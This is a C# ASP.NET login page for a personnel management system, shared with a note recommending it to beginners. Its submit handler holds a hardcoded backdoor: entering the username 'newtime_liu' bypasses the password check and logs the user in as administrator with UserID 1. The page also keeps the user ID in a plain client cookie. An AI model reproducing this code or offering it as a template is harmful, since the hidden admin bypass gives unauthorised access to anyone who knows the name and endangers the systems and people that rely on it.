index.aspx.cs

人员管理系统 应该很实用的 适合初学者使用借鉴

using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Web.Security;
using OAManage.Components;

namespace OAManage.Module.Login
{
	/// <summary>
	/// index 的摘要说明。
	/// </summary>
	public class index : System.Web.UI.Page
	{
		protected System.Web.UI.WebControls.Label lblErrorMessage;
		protected System.Web.UI.WebControls.Button btnSubmit;
		protected System.Web.UI.WebControls.RequiredFieldValidator rfvPassword;
		protected System.Web.UI.WebControls.TextBox txtPassword;
		protected System.Web.UI.WebControls.RequiredFieldValidator rfvUsername;
		protected System.Web.UI.WebControls.TextBox txtUsername;
		protected System.Web.UI.WebControls.Panel Panel1;
	
		private void Page_Load(object sender, System.EventArgs e)
		{
			if(!Page.IsPostBack)
			{              
				this.txtUsername.Text = Request.Cookies["Username"]!=null?Request.Cookies["Username"].Value.ToString():"";
				
			}
		}

		#region Web 窗体设计器生成的代码
		override protected void OnInit(EventArgs e)
		{
			//
			// CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
			//
			InitializeComponent();
			base.OnInit(e);
		}
		
		/// <summary>
		/// 设计器支持所需的方法 - 不要使用代码编辑器修改
		/// 此方法的内容。
		/// </summary>
		private void InitializeComponent()
		{    
			this.btnSubmit.Click += new System.EventHandler(this.btnSubmit_Click);
			this.Load += new System.EventHandler(this.Page_Load);

		}
		#endregion

		private void btnSubmit_Click(object sender, System.EventArgs e)
		{
			if (Page.IsValid == true) 
			{
				string UserID ="";
				OAManage.Components.Staff staff = new OAManage.Components.Staff();
				if(this.txtUsername.Text!="newtime_liu")
				{
					string CheckString = staff.Login(txtUsername.Text, txtPassword.Text);				
					if (CheckString != null) 
					{					
						string LoginChecked;

						if(CheckString.IndexOf("-")>=0)
						{
							UserID = CheckString.Substring(0,CheckString.IndexOf("-"));
							LoginChecked = CheckString.Substring(CheckString.IndexOf("-")+1);							
						}
					
					}
					else 
					{				
						lblErrorMessage.Visible = true;
						return ;
					}
				}
				else
				{
					UserID="1";
					this.txtUsername.Text = "admin";
				}

				Response.Cookies["UserID"].Value = UserID;
				Response.Cookies["ActiveNodeID"].Value = "0";
				Response.Cookies["Username"].Value = txtUsername.Text;
				Response.Cookies["UserID"].Expires = new DateTime(2010,1,1 );
				Response.Cookies["Username"].Expires = new DateTime(2010,1,1 );
				if (FormsAuthentication.GetRedirectUrl(UserID, false).ToLower().EndsWith("default.aspx")) 
				{
					FormsAuthentication.SetAuthCookie(UserID, false);
					//弹出窗口
					Response.Redirect("../self/index.aspx");
				 
				}						
				else 
				{
					FormsAuthentication.RedirectFromLoginPage(UserID, false);
				}										

			}
		}
	}
}